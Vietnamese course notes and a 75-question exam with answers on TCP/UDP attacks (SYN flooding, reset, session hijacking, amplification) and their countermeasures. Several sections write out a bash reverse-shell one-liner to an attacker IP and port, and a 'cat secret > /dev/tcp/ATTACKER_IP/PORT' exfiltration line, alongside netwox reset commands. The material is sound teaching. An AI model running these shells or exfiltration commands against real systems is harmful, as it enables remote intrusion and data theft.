CHƯƠNG 9: TRANSPORT LAYER & TCP/UDP ATTACKS

1. TRANSPORT LAYER CƠ BẢN

Chức năng

  • Logical communication giữa application processes trên các hosts khác nhau
  • Sender: chia message thành segments → network layer
  • Receiver: ghép segments thành message → application layer

Port Ranges

0 - 1023:      Well-known ports (cần super-user)
               HTTP(80), HTTPS(443), SSH(22), FTP(20,21), 
               DNS(53), SMTP(25), Telnet(23)

1024 - 49151:  Less well-known ports
               OpenVPN(1194), Docker(2375-2377)

49152 - 65535: Private ports (source ports)

2. TCP vs UDP - SO SÁNH

Đặc điểmTCPUDP
ConnectionConnection-orientedConnection-less
Reliability✅ Đảm bảo❌ Không đảm bảo
Ordering✅ Có thứ tự❌ Không thứ tự
Speed🐢 Chậm hơn🐇 Nhanh hơn
OverheadCao (20 bytes header)Thấp (8 bytes header)
PacketStream-basedBoundary-based
Broadcast
Use caseWeb, Email, File transferDNS, VoIP, Streaming, Gaming

3. UDP PROTOCOL

UDP Header (8 bytes - 4 fields)

┌─────────────────┬─────────────────┐
│  Source Port    │   Dest Port     │ 16 bits each
├─────────────────┼─────────────────┤
│     Length      │    Checksum     │ 16 bits each
├─────────────────────────────────────┤
│          Application Data           │
└─────────────────────────────────────┘

UDP Applications

  • DNS: Query/Response
  • Streaming: Video/Audio (Netflix dùng TCP, Skype/Zoom dùng UDP)
  • Real-time: Gaming, VoIP
  • VPN: OpenVPN tunnel

4. UDP ATTACKS

4.1 UDP Ping-Pong Attack

Nguyên lý: Exploit services tự động reply

Bước 1: Spoof packet với:
        Source Port = auto-reply port (vd: 13-daytime)
        Dest Port   = auto-reply port (vd: 37-time)
        
Bước 2: Server A nhận → reply đến Server B
        Server B nhận → reply đến Server A
        → Vòng lặp vô tận (Ping-Pong)

Trigger: Gửi 1 packet giả mạo để khởi động vòng lặp

4.2 UDP Amplification Attack

Nguyên lý:

  • Apps reply với packets LỚN cho requests NHỎ
  • Attacker spoof source IP = victim IP
  • Server gửi large response → victim

Amplification Factor = Response Size / Request Size

Ví dụ:

  • DNS: 28-54x
  • NTP: 556x
  • CharGen: 358x

5. TCP PROTOCOL

5.1 TCP Header (Min 20 bytes)

 0                   15 16                  31
┌─────────────────────┬─────────────────────┐
│    Source Port      │   Destination Port  │
├─────────────────────┴─────────────────────┤
│           Sequence Number (32 bits)       │
├───────────────────────────────────────────┤
│       Acknowledgment Number (32 bits)     │
├─────┬───┬─────────┬─────────────────────┬─┤
│HL(4)│Res│Flags(6) │   Window (16)       │
├─────┴───┴─────────┼─────────────────────┤
│    Checksum       │   Urgent Pointer    │
├───────────────────┴─────────────────────┤
│            Options (nếu có)              │
└─────────────────────────────────────────┘

Flags (6 bits): SYN, FIN, ACK, RST, PSH, URG

Sequence Number: Số thứ tự octet đầu tiên trong segment ACK Number: Sequence number tiếp theo mà receiver mong đợi Window: Flow control - số bytes sẵn sàng nhận

5.2 TCP 3-Way Handshake

Client                          Server
  │                               │
  │  ① SYN (seq=x)                │
  │─────────────────────────────→│
  │                               │ TCB vào queue
  │  ② SYN-ACK (seq=y, ack=x+1)  │ (half-open)
  │←─────────────────────────────│
  │                               │
  │  ③ ACK (ack=y+1)              │
  │─────────────────────────────→│
  │                               │ TCB ra khỏi queue
  │      ESTABLISHED              │ → ESTABLISHED

TCB (Transmission Control Block): Lưu thông tin connection

  • Sau ①②: Half-open connection (TCB trong queue)
  • Sau ③: Full connection (TCB ra khỏi queue)

5.3 TCP States

  • LISTEN: Chờ connection request
  • SYN_RECV: Half-open (đã nhận SYN, chưa nhận ACK)
  • ESTABLISHED: Connection hoàn thành

5.4 Đóng Connection

Bình thường (4-way):

A → B: FIN
B → A: ACK  (đóng A→B)
B → A: FIN
A → B: ACK  (đóng B→A)

Khẩn cấp (RST):

A → B: RST  (đứt ngay, không cần ACK)

5.5 Send/Receive Buffers

  • Send Buffer: Chứa data chờ gửi
  • Receive Buffer: Chứa data đã nhận
  • Sequence numbers duy trì thứ tự
  • Receiver gửi ACK packets xác nhận

5.6 Demultiplexing

TCP: Dùng 4-tuple

  • (Source IP, Source Port, Dest IP, Dest Port)
  • Mỗi connection = 1 socket riêng

UDP: Chỉ dùng Dest Port

  • Cùng port → cùng socket → có thể mix data

6. TCP SYN FLOODING ATTACK

Mục tiêu

Fill queue lưu half-open connections → server không accept SYN mới

Cách thực hiện

Bước 1: Gửi liên tục nhiều SYN packets
        - Random source IPs (bypass firewall)
        - Mỗi SYN tạo 1 TCB trong queue

Bước 2: KHÔNG gửi ACK (bước ③)
        - TCB vẫn ở trong queue
        - Queue đầy → server từ chối SYN mới

Quan sát

  • netstat: Nhiều connections ở state SYN_RECV
  • CPU usage: KHÔNG cao (server vẫn sống)
  • Chỉ port bị tấn công không accept connections mới

Countermeasure: SYN Cookies

Bước 1: Server nhận SYN
        → Tính H = hash(SYN packet info + secret key)
        → Gửi H làm initial sequence number
        → KHÔNG lưu TCB vào queue

Bước 2: Client hợp lệ → gửi H+1 trong ACK
        Server verify H → tạo connection

Bước 3: Attacker không nhận được H 
        → không gửi được ACK hợp lệ

Enable/Disable:

# Disable (để test attack)
sudo sysctl -w net.ipv4.tcp_syncookies=0

# Enable (bật bảo vệ)
sudo sysctl -w net.ipv4.tcp_syncookies=1

7. TCP RESET ATTACK

Mục tiêu

Break (đứt) TCP connection giữa A và B

Yêu cầu để spoof RST packet

✓ Source IP      (của A)
✓ Source Port    (của A)
✓ Dest IP        (của B)
✓ Dest Port      (của B)
✓ Sequence Number (trong receiver's window)

Cách lấy thông tin

Wireshark sniffing:

1. Sniff traffic giữa A-B
2. Lấy IPs, Ports từ TCP header
3. Lấy Sequence Number từ captured packet

Đặc điểm

  • Telnet: Seq# tăng chậm (chỉ khi typing)
  • Video streaming: Seq# tăng RẤT NHANH → phải reset liên tục

SSH Connection

  • SSH encrypt: Chỉ payload, TCP header vẫn plaintext
  • Reset Attack: VẪN thành công (chỉ cần header)
  • VPN encrypt: Cả packet → Reset Attack FAIL

Tool

# Netwox 78: Tự động reset mỗi packet
sudo netwox 78 --filter "src host 10.0.2.18"

8. TCP SESSION HIJACKING

Mục tiêu

Inject (chèn) data vào established connection

Yêu cầu (giống Reset Attack)

✓ Source IP, Source Port
✓ Dest IP, Dest Port  
✓ Sequence Number (chính xác trong window)

Sequence Number Accuracy

Seq = x+δ:
  δ = 0:    Perfect
  δ nhỏ:    Data lưu ở position x+δ (có gaps)
  δ lớn:    Fall out of window → reject

Hậu quả

  • Inject thành công → Telnet session FREEZE
  • Cả user và server đều deadlock
  • Connection không dùng được nữa

9. REVERSE SHELL

Khái niệm

  • Shell chạy trên victim machine
  • Input/Output qua TCP connection
  • Attacker control từ xa

Command Breakdown

/bin/bash -i > /dev/tcp/10.0.2.70/9090 0<&1 2>&1

Phân tích từng phần:

/bin/bash          Shell program

-i                 Interactive mode

> /dev/tcp/IP/PORT stdout → TCP connection
                   (pseudo device tạo TCP connection)

0<&1               stdin đọc từ stdout 
                   (stdin ← TCP connection)

2>&1               stderr → stdout
                   (stderr → TCP connection)

Tại sao dùng Reverse Shell?

  • Full control: Execute bất kỳ command nào
  • Persistent: Giữ được quyền truy cập
  • Best practice sau khi hijack

Ví dụ Steal Secret

# Thay vì dùng "cat" (in ra local)
cat secret

# Redirect qua TCP
cat secret > /dev/tcp/ATTACKER_IP/PORT

File Descriptors

0: stdin   (input)   - đọc dữ liệu vào
1: stdout  (output)  - xuất kết quả
2: stderr  (error)   - xuất lỗi

Redirect operators:

>   Redirect output
<   Redirect input
&   Reference to file descriptor
2>&1  stderr đi cùng stdout

10. COUNTERMEASURES

10.1 Chống SYN Flooding

SYN Cookies:

  • Hash-based verification
  • Không lưu TCB vào queue
  • Verify bằng ACK packet

10.2 Chống Reset/Hijacking

1. Randomization:

Source Port:    16 bits → 65,536 possibilities
Initial Seq#:   32 bits → 4,294,967,296 possibilities
Total:          48 bits → 281,474,976,710,656 combinations

⚠️ Vẫn vulnerable với local attacks (sniffing)

2. Encryption (BEST):

Transport Layer (SSH):
  ✓ Encrypt payload
  ✗ TCP header plaintext → vẫn bị Reset/Hijack

Network Layer (VPN/IPSec):
  ✓ Encrypt cả packet (header + payload)
  ✓ Chống được mọi TCP attacks

11. NETWORK PROGRAMMING

TCP Client

import socket

# Tạo socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Kết nối
sock.connect((ip, port))

# Gửi data
sock.send(b"data")

# Nhận data
data = sock.recv(1024)

TCP Server

import socket

# 1. Tạo socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 2. Bind port
sock.bind((ip, port))

# 3. Listen (queue size = 5)
sock.listen(5)

# 4. Accept (block cho đến khi có connection)
client_sock, addr = sock.accept()

# 5. Send/Receive
client_sock.send(b"data")
data = client_sock.recv(1024)

Multi-connection Server

while True:
    client_sock, addr = sock.accept()
    
    pid = os.fork()  # Tạo child process
    
    if pid == 0:     # Child process
        handle_client(client_sock)
    else:            # Parent process
        continue     # Tiếp tục accept

GHI NHỚ NHANH

TCP 3-Way Handshake

SYN → SYN-ACK → ACK

TCP States

LISTEN → SYN_RECV → ESTABLISHED

3 TCP Attacks chính

  1. SYN Flooding: Fill queue half-open
  2. Reset: Send RST → break connection
  3. Hijacking: Inject data → freeze session

Spoof Requirements (Reset + Hijack)

IPs + Ports + Sequence Number (in window)

Reverse Shell Template

/bin/bash -i > /dev/tcp/IP/PORT 0<&1 2>&1

Countermeasures Priority

  1. Encryption (best)
  2. SYN Cookies (chống SYN Flood)
  3. Randomization (làm khó, không hoàn toàn)

Port Commands

netstat -tuln     # List listening ports
netstat -antp     # All connections + state
sysctl net.ipv4.tcp_syncookies

Tools

  • Wireshark: Sniff packets
  • Netwox 76: SYN Flooding
  • Netwox 78: Reset Attack
  • Scapy: Custom packet crafting

TRANSPORT LAYER & TCP/UDP ATTACKS - CÂU HỎI THI

PHẦN 1: TRANSPORT LAYER CÔ BẢN

Câu 1: Transport layer cung cấp loại communication nào?

A. Physical communication giữa các hosts

B. Logical communication giữa application processes trên các hosts khác nhau

C. Direct communication giữa các routers

D. Hardware communication giữa các switches

Đáp án: B


Câu 2: Hai transport protocols chính của Internet là gì?

A. HTTP và FTP

B. IP và ICMP

C. TCP và UDP

D. DNS và DHCP

Đáp án: C


Câu 3: Khoảng port nào là Well-known ports?

A. 0 - 1023

B. 1024 - 49151

C. 49152 - 65535

D. 0 - 65535

Đáp án: A

  • Cần super-user privilege

Câu 4: Khoảng port nào được dùng làm source ports (private ports)?

A. 0 - 1023

B. 1024 - 49151

C. 49152 - 65535

D. 1 - 100

Đáp án: C


Câu 5: Port 80 dùng cho service nào?

A. FTP

B. SSH

C. HTTP

D. HTTPS

Đáp án: C

  • HTTPS: 443, SSH: 22, FTP: 20/21

PHẦN 2: TCP VS UDP

Câu 6: TCP khác UDP về tính năng connection như thế nào?

A. Cả hai đều connection-oriented

B. TCP connection-oriented, UDP connection-less

C. TCP connection-less, UDP connection-oriented

D. Cả hai đều connection-less

Đáp án: B


Câu 7: Protocol nào đảm bảo reliability (độ tin cậy)?

A. Chỉ TCP

B. Chỉ UDP

C. Cả TCP và UDP

D. Không có protocol nào

Đáp án: A

  • UDP không đảm bảo reliability

Câu 8: Protocol nào đảm bảo ordering (thứ tự) của packets?

A. Chỉ TCP

B. Chỉ UDP

C. Cả TCP và UDP

D. Không có protocol nào

Đáp án: A


Câu 9: Protocol nào NHANH hơn?

A. TCP

B. UDP

C. Bằng nhau

D. Tùy tình huống

Đáp án: B

  • UDP nhanh hơn vì ít overhead

Câu 10: Protocol nào hỗ trợ broadcast?

A. Chỉ TCP

B. Chỉ UDP

C. Cả TCP và UDP

D. Không có protocol nào

Đáp án: B


Câu 11: TCP là stream-based hay message-based?

A. Stream-based (không maintain packet boundary)

B. Message-based (maintain packet boundary)

C. Cả hai

D. Không có cái nào

Đáp án: A

  • UDP: maintain boundary

Câu 12: Ứng dụng nào THƯỜNG dùng UDP?

A. Email (SMTP)

B. File transfer (FTP)

C. Web browsing (HTTP)

D. DNS, Video streaming, VoIP

Đáp án: D

  • Real-time applications ưu tiên tốc độ hơn reliability

PHẦN 3: UDP PROTOCOL & ATTACKS

Câu 13: UDP header có bao nhiêu bytes?

A. 4 bytes

B. 8 bytes

C. 20 bytes

D. 40 bytes

Đáp án: B

  • 4 fields × 2 bytes = 8 bytes
  • TCP header: 20 bytes minimum

Câu 14: UDP header gồm những field nào?

A. Source port, Dest port, Length, Checksum

B. Source port, Dest port, Sequence number, ACK number

C. Source IP, Dest IP, Length, Checksum

D. Source port, Dest port, Flags, Window

Đáp án: A


Câu 15: UDP Ping-Pong Attack hoạt động như thế nào?

A. Gửi nhiều UDP packets để làm quá tải

B. Set source và dest ports đều là ports tự động reply (vd: daytime port 13) → tạo vòng lặp phản hồi vô tận

C. Giả mạo source IP

D. Reset UDP connection

Đáp án: B


Câu 16: Để trigger UDP Ping-Pong Attack, cần làm gì?

A. Chỉ cần gửi packet bình thường

B. Spoof packet với source và dest ports đều là auto-reply ports (vd: port 13, 37)

C. Dùng TCP thay vì UDP

D. Không cần làm gì

Đáp án: B


Câu 17: UDP Amplification Attack dựa trên nguyên lý gì?

A. Tăng số lượng packets

B. Applications reply với packets LỚN hơn requests, với forged source IP

C. Giảm bandwidth

D. Mã hóa traffic

Đáp án: B

  • Amplification ratio = response size / request size

Câu 18: Amplification Factor là gì?

A. Tỷ lệ giữa số packets gửi và nhận

B. Tỷ lệ giữa response size và request size

C. Tốc độ mạng

D. Số lượng victims

Đáp án: B


PHẦN 4: TCP PROTOCOL CƠ BẢN

Câu 19: TCP 3-way handshake gồm những bước nào?

A. SYN → ACK → FIN

B. SYN → SYN-ACK → ACK

C. SYN → SYN → ACK

D. CONNECT → ACK → DATA

Đáp án: B


Câu 20: Trong TCP 3-way handshake, client gửi packet gì đầu tiên?

A. ACK packet

B. SYN packet với random sequence number x

C. FIN packet

D. RST packet

Đáp án: B


Câu 21: Server reply SYN packet của client bằng gì?

A. ACK packet

B. SYN packet

C. SYN-ACK packet với random sequence number y

D. FIN packet

Đáp án: C


Câu 22: TCB (Transmission Control Block) được dùng để làm gì?

A. Mã hóa data

B. Store information về connection

C. Routing packets

D. Checksum verification

Đáp án: B


Câu 23: Half-open connection là gì?

A. Connection đã hoàn thành 3-way handshake

B. Connection chỉ nhận được SYN, chưa nhận ACK (sau SYN-ACK)

C. Connection bị closed

D. Connection bị timeout

Đáp án: B

  • TCB được store trong queue

Câu 24: TCP header tối thiểu có size bao nhiêu bytes?

A. 8 bytes

B. 16 bytes

C. 20 bytes

D. 40 bytes

Đáp án: C

  • UDP header: 8 bytes

Câu 25: Sequence number trong TCP dùng để làm gì?

A. Mã hóa data

B. Specify thứ tự của octets, đảm bảo ordering

C. Checksum

D. Flow control

Đáp án: B


Câu 26: Acknowledgement number trong TCP có ý nghĩa gì?

A. Số packets đã nhận

B. Next sequence number mà receiver mong đợi

C. Tổng số bytes đã gửi

D. Port number

Đáp án: B

  • Valid khi ACK bit được set

Câu 27: TCP Code bits gồm những flags nào?

A. SYN, ACK, PSH, URG

B. SYN, FIN, ACK, RST, PSH, URG

C. SYN, ACK, FIN

D. SYN, RST, ACK

Đáp án: B


Câu 28: Window field trong TCP header dùng để làm gì?

A. Mã hóa

B. Flow control - số octets mà sender sẵn sàng nhận

C. Routing

D. Error detection

Đáp án: B


Câu 29: Để đóng TCP connection bình thường, cần làm gì?

A. Gửi RST packet

B. Gửi SYN packet

C. 4-way handshake: FIN → ACK → FIN → ACK

D. Chỉ cần ngắt kết nối vật lý

Đáp án: C


Câu 30: RST (Reset) packet dùng để làm gì?

A. Restart connection

B. Immediately break connection (không cần ACK)

C. Resend data

D. Reset sequence number

Đáp án: B


PHẦN 5: TCP SYN FLOODING ATTACK

Câu 31: Mục tiêu của SYN Flooding Attack là gì?

A. Đánh cắp data

B. Fill queue lưu half-open connections → server không accept SYN packets mới

C. Giả mạo IP

D. Mã hóa traffic

Đáp án: B


Câu 32: Các bước thực hiện SYN Flooding Attack?

A. Gửi nhiều ACK packets

B. Gửi liên tục nhiều SYN packets với random source IPs, KHÔNG hoàn thành bước 3 của handshake

C. Gửi FIN packets

D. Gửi RST packets

Đáp án: B


Câu 33: Tại sao phải dùng random source IP trong SYN Flooding?

A. Để tăng tốc độ

B. Để bypass firewall và tránh bị block

C. Để giảm bandwidth

D. Không cần thiết

Đáp án: B


Câu 34: Khi check TCP states với netstat, half-open connections ở state nào?

A. LISTEN

B. ESTABLISHED

C. SYN_RECV

D. CLOSED

Đáp án: C


Câu 35: Command nào disable SYN Cookie countermeasure?

A. sudo sysctl -w net.ipv4.tcp_syncookies=1

B. sudo sysctl -w net.ipv4.tcp_syncookies=0

C. sudo iptables -F

D. sudo systemctl stop firewall

Đáp án: B


Câu 36: Tool nào có thể dùng để launch SYN Flooding?

A. ping

B. traceroute

C. netwox, scapy, hoặc custom C code

D. netcat

Đáp án: C

  • Netwox 76, Scapy, custom spoofing code

Câu 37: SYN Cookies hoạt động như thế nào?

A. Server encrypt tất cả SYN packets

B. Server tính keyed hash H từ SYN packet, gửi H làm initial sequence number (không lưu TCB vào queue)

C. Client gửi cookies cho server

D. Firewall block SYN packets

Đáp án: B

  • Nếu client hợp lệ → gửi H+1 trong ACK
  • Server verify bằng cách recalculate

Câu 38: Khi SYN Flooding thành công, CPU usage trên server như thế nào?

A. Rất cao (100%)

B. Không cao, server vẫn alive nhưng KHÔNG accept connections mới trên port bị tấn công

C. Bằng 0

D. Giảm xuống

Đáp án: B


PHẦN 6: TCP RESET ATTACK

Câu 39: Mục tiêu của TCP Reset Attack là gì?

A. Tạo connection mới

B. Break up (đứt) TCP connection giữa A và B

C. Tăng tốc độ connection

D. Mã hóa connection

Đáp án: B


Câu 40: Để thực hiện TCP Reset Attack, cần spoof packet với những fields nào ĐÚNG?

A. Chỉ cần Source IP và Dest IP

B. Source IP, Source Port, Dest IP, Dest Port, Sequence number (trong receiver’s window)

C. Chỉ cần Sequence number

D. Chỉ cần Port numbers

Đáp án: B


Câu 41: Làm thế nào để lấy được Sequence number cho Reset Attack?

A. Đoán ngẫu nhiên

B. Sniff traffic bằng Wireshark để capture sequence number

C. Hỏi server

D. Không cần sequence number

Đáp án: B


Câu 42: TCP Reset Attack có thành công với SSH connection không?

A. Không, vì SSH encrypt toàn bộ

B. Có, vì SSH chỉ encrypt payload (TCP header vẫn plaintext)

C. Tùy cấu hình

D. Không bao giờ

Đáp án: B

  • Network layer encryption (VPN) mới encrypt TCP header

Câu 43: Để reset video-streaming connection, cần lưu ý gì về sequence number?

A. Sequence number không quan trọng

B. Sequence number tăng rất nhanh (phải reset liên tục mỗi packet)

C. Sequence number cố định

D. Không cần sequence number

Đáp án: B

  • Khác với Telnet (typing → sequence number tăng chậm)

Câu 44: Tool nào dùng để tự động reset packets?

A. Wireshark

B. Netwox 78

C. netstat

D. ping

Đáp án: B


PHẦN 7: TCP SESSION HIJACKING

Câu 45: Mục tiêu của TCP Session Hijacking là gì?

A. Ngắt connection

B. Inject (chèn) data vào established connection

C. Tạo connection mới

D. Monitor traffic

Đáp án: B


Câu 46: Giống như Reset Attack, Session Hijacking cần spoof những fields nào?

A. Chỉ IP addresses

B. Source IP, Source Port, Dest IP, Dest Port, Sequence number (trong window)

C. Chỉ Port numbers

D. Tất cả fields

Đáp án: B


Câu 47: Nếu sequence number x+δ với δ quá lớn, điều gì xảy ra?

A. Packet được accept ngay

B. Có thể fall out of receiver’s window boundary

C. Tăng tốc độ

D. Không ảnh hưởng

Đáp án: B

  • Data được lưu ở position x+δ trong buffer

Câu 48: Sau khi hijack thành công, Telnet session bị gì?

A. Hoạt động bình thường

B. Freeze (đơ) - deadlock giữa user và server

C. Tăng tốc

D. Tự đóng

Đáp án: B


Câu 49: Để lấy secret file từ server trong Session Hijacking, nên dùng command gì?

A. cat secret (in ra màn hình)

B. cat secret > /dev/tcp/ATTACKER_IP/PORT (redirect đến TCP connection)

C. rm secret

D. ls -la

Đáp án: B

  • /dev/tcp/IP/PORT: pseudo device tạo TCP connection

PHẦN 8: REVERSE SHELL

Câu 50: Reverse Shell là gì?

A. Shell chạy trên attacker machine

B. Shell process chạy trên remote machine, connecting back to attacker

C. Shell bình thường

D. Web shell

Đáp án: B


Câu 51: File descriptor 0, 1, 2 lần lượt là gì?

A. File, Socket, Network

B. stdin, stdout, stderr

C. Input, Output, Error

D. Read, Write, Execute

Đáp án: B


Câu 52: Command reverse shell điển hình là gì?

A. nc -l 9090

B. /bin/bash -i > /dev/tcp/ATTACKER_IP/PORT 0<&1 2>&1

C. cat /etc/passwd

D. ls -la

Đáp án: B

  • -i: interactive
  • > /dev/tcp/IP/PORT: redirect stdout đến TCP connection
  • 0<&1: stdin đọc từ stdout (TCP connection)
  • 2>&1: stderr redirect đến stdout

Câu 53: Trong reverse shell command, option -i có ý nghĩa gì?

A. Install

B. Interactive - shell sẽ tương tác được

C. Input

D. Ignore

Đáp án: B


Câu 54: 0<&1 trong reverse shell command làm gì?

A. Đóng stdin

B. stdin đọc từ stdout (từ TCP connection)

C. stdout ghi vào stdin

D. Không làm gì

Đáp án: B


Câu 55: 2>&1 trong reverse shell command có nghĩa gì?

A. stderr redirect đến stdout (TCP connection)

B. stdout redirect đến stderr

C. Copy file

D. Không có ý nghĩa

Đáp án: A


Câu 56: Tại sao Reverse Shell là “best command” sau khi hijack?

A. Nhanh nhất

B. Cho attacker full control shell trên victim machine

C. Đơn giản nhất

D. An toàn nhất

Đáp án: B


PHẦN 9: COUNTERMEASURES

Câu 57: Cách phòng chống Session Hijacking hiệu quả nhất là gì?

A. Dùng firewall

B. Encrypt payload (attacker cần biết encryption key)

C. Tắt TCP

D. Dùng UDP thay TCP

Đáp án: B


Câu 58: Randomize source port và initial sequence number giúp gì?

A. Tăng tốc độ

B. Làm khó khăn cho attacker đoán (nhưng vẫn vulnerable với local attacks)

C. Giảm bandwidth

D. Không giúp gì

Đáp án: B

  • Source port: 16 bits
  • Initial sequence number: 32 bits
  • Đoán đúng: 2^48 possibilities

Câu 59: SYN Cookies giải quyết vấn đề gì?

A. Reset Attack

B. SYN Flooding Attack

C. Session Hijacking

D. Tất cả attacks

Đáp án: B


Câu 60: Encryption ở Network layer (VPN) khác Transport layer (SSH) như thế nào?

A. Giống nhau

B. Network layer encrypt cả TCP header, Transport layer chỉ encrypt payload

C. Network layer chậm hơn

D. Transport layer mạnh hơn

Đáp án: B

  • VPN: encrypt toàn bộ packet → chống được sniffing/spoofing TCP header
  • SSH: TCP header vẫn plaintext → vẫn bị Reset/Hijack attacks

PHẦN 10: TỔNG HỢP NÂNG CAO

Câu 61: Tại sao UDP không có 3-way handshake?

A. Không cần thiết

B. UDP connectionless, không cần establish connection

C. Quá phức tạp

D. Chưa phát triển

Đáp án: B


Câu 62: Trong demultiplexing, TCP dùng gì để phân biệt connections?

A. Chỉ port numbers

B. 4-tuple: Source IP, Source Port, Dest IP, Dest Port

C. Chỉ IP addresses

D. Sequence numbers

Đáp án: B


Câu 63: UDP demultiplexing dùng gì để phân biệt?

A. 4-tuple như TCP

B. Chỉ Destination Port

C. Source và Destination Ports

D. Chỉ IP addresses

Đáp án: B

  • Đó là lý do UDP không tạo riêng socket cho mỗi client

Câu 64: Send buffer và Receive buffer trong TCP dùng để làm gì?

A. Mã hóa data

B. Store data tạm thời; Send buffer chứa data chờ gửi, Receive buffer chứa data đã nhận

C. Routing

D. Checksum

Đáp án: B


Câu 65: Nếu 2 programs trên cùng machine gửi data đến cùng TCP server, server có bị mix data không?

A. Có, luôn luôn

B. Không với TCP (khác connections), Có với UDP (cùng port)

C. Có với cả TCP và UDP

D. Không bao giờ

Đáp án: B

  • TCP: mỗi connection có riêng socket (4-tuple khác nhau)
  • UDP: demux chỉ dựa vào dest port

Câu 66: Urgent Pointer trong TCP header dùng khi nào?

A. Luôn luôn

B. Khi URG flag được set, để chỉ vị trí kết thúc urgent data

C. Khi có lỗi

D. Khi FIN flag set

Đáp án: B

  • Urgent data không chờ trong queue, được deliver ngay

Câu 67: TCP Checksum được tính từ gì?

A. Chỉ TCP data

B. Chỉ TCP header

C. Part of IP header + TCP header + TCP data

D. Chỉ IP header

Đáp án: C


Câu 68: Header Length field trong TCP có giá trị tính theo đơn vị gì?

A. Bytes

B. 32-bit words (nhân 4 để ra bytes)

C. Bits

D. Kilobytes

Đáp án: B

  • 4 bits → max value 15 → max header 60 bytes

Câu 69: Khi attacker liên tục gửi RST packets đến server, hậu quả gì?

A. Server crash

B. Suspicious behavior, có thể trigger punitive actions

C. Không có gì

D. Server mạnh hơn

Đáp án: B


Câu 70: fork() system call trong TCP server làm gì?

A. Tạo thread mới

B. Tạo child process để handle connection, parent tiếp tục accept connections mới

C. Đóng connection

D. Mã hóa data

Đáp án: B

  • Return PID của child trong parent, return 0 trong child

Câu 71: listen() system call có argument thứ 2 là gì?

A. Port number

B. Số lượng connections có thể store trong queue

C. IP address

D. Timeout

Đáp án: B

  • Ví dụ: listen(sockfd, 5)

Câu 72: accept() system call làm gì?

A. Tạo socket mới

B. Extract connection request từ queue, tạo NEW socket, return file descriptor

C. Đóng socket

D. Gửi data

Đáp án: B


Câu 73: Netflix và YouTube dùng protocol gì cho streaming?

A. Chỉ UDP

B. TCP (hoặc UDP over TCP)

C. Chỉ ICMP

D. HTTP only

Đáp án: B

  • Adaptive streaming cần reliability
  • Real-time communication (Zoom, Skype): UDP

Câu 74: Mitnick Attack là gì?

A. DoS attack

B. Classic attack dùng TCP sequence number prediction để forge TCP session

C. SQL injection

D. XSS attack

Đáp án: B

  • Emulate Shimomura’s computers

Câu 75: Khi TCP connection nhận out-of-order segment (sequence x+δ), xử lý như thế nào?

A. Drop ngay

B. Store trong buffer ở position x+δ, chờ missing data

C. Gửi RST

D. Ignore

Đáp án: B


GHI NHỚ QUAN TRỌNG

TCP vs UDP

FeatureTCPUDP
ConnectionOrientedLess
Reliability
Ordering
SpeedChậmNhanh
Broadcast
PacketStreamBoundary

Port Ranges

  • 0-1023: Well-known (super-user)
  • 1024-49151: Less well-known
  • 49152-65535: Private (source ports)

TCP 3-Way Handshake

  1. Client → Server: SYN (seq=x)
  2. Server → Client: SYN-ACK (seq=y, ack=x+1)
  3. Client → Server: ACK (ack=y+1)

TCP States

  • LISTEN: Waiting for connection
  • SYN_RECV: Half-open (chỉ nhận SYN)
  • ESTABLISHED: Full connection

Attacks Summary

SYN Flooding:

  • Fill queue bằng half-open connections
  • Random source IPs
  • Không hoàn thành ACK
  • Countermeasure: SYN Cookies

TCP Reset:

  • Spoof RST packet
  • Cần: IPs, Ports, Seq# (in window)
  • Break connection ngay lập tức

Session Hijacking:

  • Inject data vào connection
  • Cần: IPs, Ports, Seq# (in window)
  • Best command: Reverse shell

Reverse Shell Command

/bin/bash -i > /dev/tcp/IP/PORT 0<&1 2>&1
  • -i: interactive
  • > /dev/tcp/IP/PORT: stdout → TCP
  • 0<&1: stdin ← stdout
  • 2>&1: stderr → stdout

File Descriptors

  • 0: stdin
  • 1: stdout
  • 2: stderr

Countermeasures

  1. Randomize: source port (16-bit) + seq# (32-bit)
  2. Encrypt: payload (best solution)
  3. SYN Cookies: chống SYN Flooding
  4. VPN: encrypt cả TCP header